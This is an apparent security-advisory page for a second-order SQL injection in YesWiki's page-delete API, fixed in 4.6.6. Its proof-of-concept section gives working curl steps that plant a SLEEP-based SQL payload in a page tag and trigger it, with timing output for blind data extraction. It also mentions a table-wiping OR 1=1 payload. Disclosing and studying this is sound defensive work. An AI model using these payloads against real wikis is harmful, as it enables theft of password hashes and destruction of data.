Skip to content

GHSA-8f2v-2qhj-gfwg CVE-2026-52771

YesWiki: Second-Order SQL Injection in Page Delete API via Unescaped Page Tag (`ApiController::deletePage`)

High Packagist
Severity
8.3 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.51%
Chance of exploitation in the next 30 days. Higher than 43.71% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Fix
4.6.6
Upgrade yeswiki/yeswiki to this version or later

Description

Summary

ApiController::deletePage() interpolates a page tag retrieved from the database into a DELETE FROM …_links WHERE to_tag = '$tag' query without escaping. The page tag is attacker-controlled — the POST /api/pages/{tag} API accepts arbitrary URL-encoded values, including single quotes, and stores them. A low-privilege authenticated user can therefore create a page whose tag is a SQL fragment, make the page non-orphaned via the standard {{include page="…"}} link mechanism, and then invoke the delete endpoint to execute arbitrary SQL inside the wiki database - including time-based blind data exfiltration from any table.

This is a classic second-order SQL injection: the INSERT correctly escapes the value, so the malicious tag is stored intact and the input passes every "is this value safe to put in the database?" check; the sink is the read-back-and-reuse path, where escaping is omitted.

Details

Affected component

  • File: includes/controllers/ApiController.php
  • Method: ApiController::deletePage($tag)
  • Route: @Route("/api/pages/{tag}", methods={"DELETE"}, options={"acl":{"+"}}) — acl:"+" means any authenticated user.
  • Sink: line 626
// includes/controllers/ApiController.php  (v4.6.5 = origin/doryphore-dev HEAD,
// lines 607–631)
public function deletePage($tag)
{
    $pageManager   = $this->getService(PageManager::class);
    $pageController = $this->getService(PageController::class);
    $dbService     = $this->getService(DbService::class);
    ...
    try {
        $page = $pageManager->getOne($tag, null, false);     // (a) safe SELECT
        if (empty($page)) { ... } else {
            $tag = isset($page['tag']) ? $page['tag'] : $tag;//   ^ raw tag from DB
            $result['notDeleted'] = [$tag];
            if ($this->wiki->UserIsOwner($tag) || $this->wiki->UserIsAdmin()) {
                if (!$pageManager->isOrphaned($tag)) {
                    $dbService->query(
                        "DELETE FROM {$dbService->prefixTable('links')}
                         WHERE to_tag = '$tag'");           // (b) SINK — unescaped
                }
                ...

The same anti-pattern shows up in two adjacent files; both were noted in the original submission and confirmed during validation:

  • tools/tags/handlers/page/__deletepage.php line 14 - DELETE … WHERE to_tag = '$tag', where $tag = $this->GetPageTag() is again the raw stored tag.
  • handlers/page/deletepage.php lines 93–94 - LoadAll('SELECT DISTINCT from_tag FROM …links WHERE to_tag = '" . $this->GetPageTag() . "'"), same pattern as a SELECT instead of a DELETE.

The API path is the easiest sink to reach because it requires only acl:"+" and a single HTTP request; the other two require a logged-in user to navigate to the page's delete handler

A low-privilege account can carry the whole chain:

  1. Plant — POST /api/pages/{evil} with body=anything. PageManager::save() escapes the tag at INSERT time ('\'' in SQL ⇒ stored '), so the tag persists with its single quote intact. The new page is owned by the attacker, so UserIsOwner($tag) in the delete handler will return true.
  2. Make non-orphaned — save any second page whose body contains {{include page="<evil>"}} through the web edit handler. LinkTracker::preventTrackingActions() parses the include directive, looks up the referenced page (PageManager::getOne() finds it because lookup uses escape(), which matches the stored quote), and LinkTracker::persist() inserts a row (from_tag='Linker', to_tag='<evil>') into _links — again with escape() on the way in, so the raw quote round-trips.
  3. Trigger — DELETE /api/pages/{evil}. The delete handler reads the page (escaped SELECT, finds the row), assigns $tag = $page['tag'] (the raw stored value, including '), runs isOrphaned($tag) (escaped SELECT, returns not orphaned because step 2 inserted a row), and then runs the unescaped DELETE FROM …_links WHERE to_tag = '$tag'. The SQL parser sees the attacker-controlled ' as the end of the string literal; everything after it is treated as SQL.

The injection point is WHERE to_tag = '<here>' — any payload of the form <anything>' <SQL>-- works. With time-based primitives (SLEEP), the attacker reads any byte of any row of any table the wiki account can see.

End to End Steps to reproduce the issue

  1. Preflight
    • lab is up at http://localhost:8085
  2. Logging in
    • admin 'WikiAdmin' and low-priv 'TestUser01' both logged in
  3. Tier 1 - POST /api/pages/<evil-tag> (as TestUser01)
    • PROOF: tag stored RAW in yeswiki_pages → 'SleepTag' OR SLEEP(2)-- '
  4. Tier 2 - make the evil page non-orphaned
    • PROOF: yeswiki_links row → LinkPoc->SleepTag' OR SLEEP(2)--
  5. Tier 2 - DELETE /api/pages/<evil-tag> (as TestUser01)
    • baseline (non-existent tag) : 0.468s
    • exploit (SLEEP(2) in tag) : 2.555s
    • delta : 2.087s
    • PROOF : Δ ≥ 1.5 s → SLEEP(2) ran inside the DELETE on L626
  6. Tier 3 - time-based blind data exfiltration
    • char='w' elapsed=0.505s miss
    • char='x' elapsed=0.495s miss
    • char='y' elapsed=3.522s <- HIT
    • char='z' elapsed=0.662s miss
    • PROOF : conditional SLEEP fired only for 'y'

RESULT: second-order SQL injection in DELETE /api/pages/{tag} is CONFIRMED.

PoC

Pre Reqs

Had the following things setup in advance:

  1. Yeswiki v4.6.5 lab image (Setup via podman)
  2. Admin & User Account setup.

Parts used across PoC:

  • Site responding at http://localhost:8085
  • Admin account: WikiAdmin / AdminPoc12345
  • Low-priv account: TestUser01 / TestPass12345 (this is the attacker)

For the rest of this document, set:

BASE="http://localhost:8085"
CTR="yeswiki-poc"
PREFIX="yeswiki_"
CJ=/tmp/yw_user.txt        # cookie jar for our low-priv attacker

Confirm the vulnerable line is actually there:

podman exec "$CTR" \
    grep -n "DELETE FROM.*links.*WHERE to_tag" \
    /var/www/html/includes/controllers/ApiController.php

Expected output:

626: $dbService->query("DELETE FROM {$dbService->prefixTable('links')} WHERE to_tag = '$tag'");

Log in as the low-privilege attacker. We will get the session in return

rm -f "$CJ"
curl -s -c "$CJ" -o /dev/null "${BASE}/?LoginPoc" \
     --data-urlencode "action=login"   --data-urlencode "context=LoginPoc" \
     --data-urlencode "name=TestUser01" --data-urlencode "password=TestPass12345" \
     --data-urlencode "remember=1"

# Verify the session is logged in:
SID=$(grep -oE 'YesWiki-main[[:space:]]+[a-f0-9]+' "$CJ" | awk '{print $2}')
podman exec -u root "$CTR" grep '^user|' "/tmp/sess_${SID}"

Plant a page whose tag contains SQL meta-characters.

The Symfony route accepts the default [^/]+ regex for {tag}, so single quotes pass through unmodified. The INSERT correctly escapes the value for SQL injection purposes, but escaping is an SQL-layer concern: the stored byte string still contains the literal '. That is the seed of the second-order bug.

EVIL_TAG="SleepTag' OR SLEEP(2)-- "
EVIL_ENC=$(printf '%s' "$EVIL_TAG" | \
    podman exec -i "$CTR" php -r 'echo rawurlencode(file_get_contents("php://stdin"));')

echo "raw tag      : $EVIL_TAG"
echo "URL-encoded  : $EVIL_ENC"

curl -s -b "$CJ" -X POST "${BASE}/?api/pages/${EVIL_ENC}" \
     --data-urlencode "body=poc"
  • The API accepted a tag with a literal ' and SQL keywords, completely unsanitized.
  • The single quote round-tripped through PageManager::save()'s escape() and is now sitting in the database byte-for-byte as SleepTag' OR SLEEP(2)-- — exactly what an attacker needs the read-back to return.
  • TestUser01 is the owner, so the eventual UserIsOwner($tag) check in the delete handler will pass for them.

Now, create a second page that will link to the evil page

The sink at L626 is gated by if (!$pageManager->isOrphaned($tag)). To pass it, the evil tag has to appear as a to_tag somewhere in the _links table. The cleanest way is the legitimate {{include page="…"}} mechanism: a page whose body references the evil tag will register a link.

First, create the placeholder linker via the API (no link tracking on this path - that fires from the web editor):

curl -s -b "$CJ" -X POST "${BASE}/?api/pages/LinkPoc" \
     --data-urlencode "body=placeholder"

# Grab its id — we'll need it for the edit form's hidden "previous" field
LINKID=$(podman exec "$CTR" mysql -uroot yeswiki -N -e \
    "SELECT id FROM ${PREFIX}pages WHERE tag='LinkPoc' AND latest='Y';")
echo "LinkPoc id = $LINKID"

Make the evil page non-orphaned (web edit handler)

Submit a web-editor save with body {{include page="<evil tag>"}}. The pre-handler tools/security/handlers/page/__edit.php would normally require a hashcash token, but env/install.sh disables use_hashcash so this works without one. Hashcash is irrelevant to the SQLi sink itself; production deployments that leave it enabled are still vulnerable, just slightly more involved to trigger.

NEW_BODY='{{include page="SleepTag'"'"' OR SLEEP(2)-- "}} rev-1'

curl -sL -b "$CJ" -X POST "${BASE}/?LinkPoc/edit" \
     --data-urlencode "submit=Sauver" \
     --data-urlencode "previous=${LINKID}" \
     --data-urlencode "body=${NEW_BODY}"
  • The web edit handler called LinkTracker::registerLinks($page, false, false) (handlers/page/edit.php:69).
  • registerLinks() formatted the page body and reached preventTrackingActions() (includes/services/LinkTracker.php:160).
  • That regex extracted SleepTag' OR SLEEP(2)-- from {{include page="…"}}, called PageManager::getOne(<extracted>) which found the page (lookup uses escape(), so a stored ' still matches), and called $this->add($page['tag']).
  • LinkTracker::persist() then inserted (from_tag='LinkPoc', to_tag='<evil tag, raw quote>') into _links.

Proves: the second-order data has now been planted on both sides of the join the vulnerable DELETE query touches.

We need a control measurement before the actual SQLi, so the delta is unambiguous. Delete a tag we know doesn't exist:

T0=$(date +%s.%N)
curl -s -b "$CJ" -X DELETE "${BASE}/?api/pages/NonExistent99" -o /dev/null
T1=$(date +%s.%N)
awk "BEGIN{printf \"baseline elapsed: %.3fs\n\", $T1-$T0}"

Expected output: baseline elapsed: ~0.3–0.7 s (one-shot HTTP round-trip + a fast SELECT … WHERE tag = …). Record this number.

Trigger the SQLi (Tier 2 - the actual vulnerability fires)

Issue a DELETE /api/pages/<evil tag>. The handler reads the page back from the DB, sees the row, takes $tag = $page['tag'] (the raw stored value, still containing '), checks isOrphaned() (returns not orphaned because step 5 inserted a row), and runs the unescaped DELETE on L626. With our tag, that becomes:

DELETE FROM yeswiki_links WHERE to_tag = 'SleepTag' OR SLEEP(2)-- '
                                                ^^^ ^^^^^^^^^^^^^^^^
                                                |   injected SQL
                                                breakout

SLEEP(2) runs once per row scanned. We seeded one row, so the call should hang ~2 s before responding.

T0=$(date +%s.%N)
curl -s -b "$CJ" -X DELETE "${BASE}/?api/pages/${EVIL_ENC}" -o /tmp/yw_del.json
T1=$(date +%s.%N)
awk "BEGIN{printf \"exploit elapsed: %.3fs\n\", $T1-$T0}"

echo "--- response ---"
cat /tmp/yw_del.json; echo

Expected output (the precise timing varies by host, but the delta relative to step 6 is what matters):

exploit elapsed: 2.555s
--- response ---
{"deleted":["SleepTag' OR SLEEP(2)-- "]}

Impact

  • Blind extraction of any column the wiki database account can read: user password hashes (_users.password), email addresses, ACLs (_acls.list), private page bodies (_pages.body), database session data, etc.
  • The sink is a DELETE; an attacker can append OR 1=1-- to wipe the entire _links table, breaking inter-page navigation site-wide. The path can also be combined with UNION-style techniques to read into an error if the DBMS surfaces them (most YesWiki setups suppress errors, hence time-based blind is the realistic primary primitive).
  • SLEEP() per row scales with link-table size; a malicious tag with SLEEP(60) on a wiki with N links will hang one connection for ~60 N seconds, easily exhausting the MariaDB worker pool.
  • _users.password hashes are bcrypt; offline cracking of weaker passwords yields admin sessions. The bug therefore acts as a low-priv → admin primitive, and chains with the bazar deserialization bug (separate advisory) as low-priv → admin → object injection / future RCE

Affected versions

Packagist

PackageVulnerableFixed in
yeswiki/yeswiki
>= 4.2.0, < 4.6.6
4.6.6

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

yeswiki/yeswiki Packagist → 4.6.6

composer
composer require yeswiki/yeswiki:^4.6.6

Severity breakdown

CVSS 3.1 8.3

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
Low

Weakness

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations. Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88). Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the data
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-9369-69wj-7m2f
YesWiki Vulnerable to Authenticated PHP Object Injection in BazarImportAction via unserialize
Critical Also affects yeswiki/yeswiki
GHSA-4pf7-cc4r-g63h
YesWiki has Authenticated SQL Injection via ReactionManager
High Also affects yeswiki/yeswiki
GHSA-r5xw-gcgw-hwp5
YesWiki Vulnerable to Reflected XSS via Unescaped `id` Parameter in Bazar Widget HTML Attributes
Medium Also affects yeswiki/yeswiki
GHSA-35f3-pg38-486f
YesWiki Vulnerable to Reflected XSS via Unescaped Archived-Revision `time` Parameter in `handlers/page/show.php`
Medium Also affects yeswiki/yeswiki
GHSA-xc7j-3g8q-9vh4
YesWiki has stored XSS in Bazar form-field templates via unescaped field.label / field.hint (|raw('html'))
Medium Also affects yeswiki/yeswiki
GHSA-qg78-vmvc-fhjw
YesWiki: SQL Injection possible through public Bazar entry-listing APIs via numeric `query`/`queries` filters
High Also affects yeswiki/yeswiki
GHSA-vw42-752g-5mrp
YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`
High Also affects yeswiki/yeswiki
GHSA-mv28-wj57-f57g
YesWiki Vulnerable to Unauthenticated ActivityPub Signature-Verification Bypass via `!openssl_verify(...)` accepting `int(-1)`
High Also affects yeswiki/yeswiki
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor